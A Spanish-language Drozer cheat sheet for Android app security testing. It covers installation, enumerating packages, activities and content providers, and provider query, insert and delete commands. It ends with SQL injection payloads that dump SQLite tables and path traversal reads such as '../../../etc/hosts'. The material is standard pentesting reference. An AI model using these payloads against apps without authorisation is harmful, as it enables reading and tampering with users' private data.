# Drozer

## Instalación de Drozer Client

Instalación de Drozer en entorno virtual de Python 2.

```shell
# Creación y activación de entorno virtual
mkdir drozer && cd drozer
which python2
virtualenv -p /usr/bin/python2 drozer-env
source drozer-env/bin/activate

# Instalación de Drozer utilizando Python wheel
pip install drozer-2.4.4-py2-none-any.whl

# Instalación de dependencias de Drozer (pre-requisitos)
pip install twisted
```

## Instalación de Drozer Agent (APK)

```shell
adb install <drozer-agent>.apk
```

## Comandos generales

Iniciar consola de Drozer.

```shell
drozer console connect
drozer console connect --server <device-IP-address>
```

Obtener listado de aplicaciones instaladas.

```shell
run app.package.list
run app.package.list -f <filter>
```

Obtener información general de una aplicación.

```shell
run app.package.info -a <app-package-name>
```

Leer archivo AndroidManifest.xml de una aplicación.

```shell
run app.package.manifest <app-package-name>
```

Superficie de ataque de una aplicación.

```shell
run app.package.attacksurface <app-package-name>
```

## Activities

Obtener activities con exportación habilitada de una aplicación.

```shell
run app.activity.info -a <app-package-name>
```

Iniciar activity con exportación habilitada.

```shell
run app.activity.start --component <app-package-name> <app-package-name>.<activity-name>
```

## Content providers

Obtener content providers de una aplicación.

```sh
run app.provider.info -a <app-package-name>
```

Obtener URIs de content providers de una aplicación.

```sh
run app.provider.finduri <app-package-name>
run scanner.provider.finduris -a <app-package-name>
```

Interacción general con content providers.

```sh
# Select
run app.provider.query <uri>
run app.provider.query <uri> --projection <column-name>
run app.provider.query <uri> --selection <column-name>=<column-value>
run app.provider.query <uri> --selection <column-name>=\'<column-value>\'

# Insert
run app.provider.insert <uri> --<column-type> <column-name> <column-value>
run app.provider.insert <uri> --string <column-name> <column-value> --integer <column-name> <column-value>

# Delete
run app.provider.delete <uri>
run app.provider.delete <uri> --selection <column-name>=<column-value>
run app.provider.delete <uri> --selection <column-name>=\'<column-value>\'

# Update
run app.provider.update <uri> --selection <column-name>=<column-value> --<column-type> <column-name> <column-value>

# Lectura de archivo
run app.provider.read <uri>/<file>

# Descarga de archivo
run app.provider.download <uri>/<file> .
```

### SQL injection (SQLi) <a href="#content-providers-sql-injection-sqli" id="content-providers-sql-injection-sqli"></a>

Identificación de SQLi.

```sh
run scanner.provider.injection -a <app-package-name>
run app.provider.query <uri> --projection "'"
run app.provider.query <uri> --selection "'"
```

Enumeración de tablas.

```sh
run scanner.provider.sqltables -a <app-package-name>
run app.provider.query <uri> --projection "* FROM SQLITE_MASTER WHERE type='table';--"
```

Obtención de datos de una tabla.

```sh
run app.provider.query <uri> --projection "* FROM <table>;--"
```

### Path traversal

Identificación de path traversal.

```sh
run scanner.provider.traversal -a <app-package-name>
```

Lectura de archivo.

```sh
run app.provider.read <uri>/<file>
run app.provider.read <uri>/../../../<file>
run app.provider.read <uri>/../../../etc/hosts
```
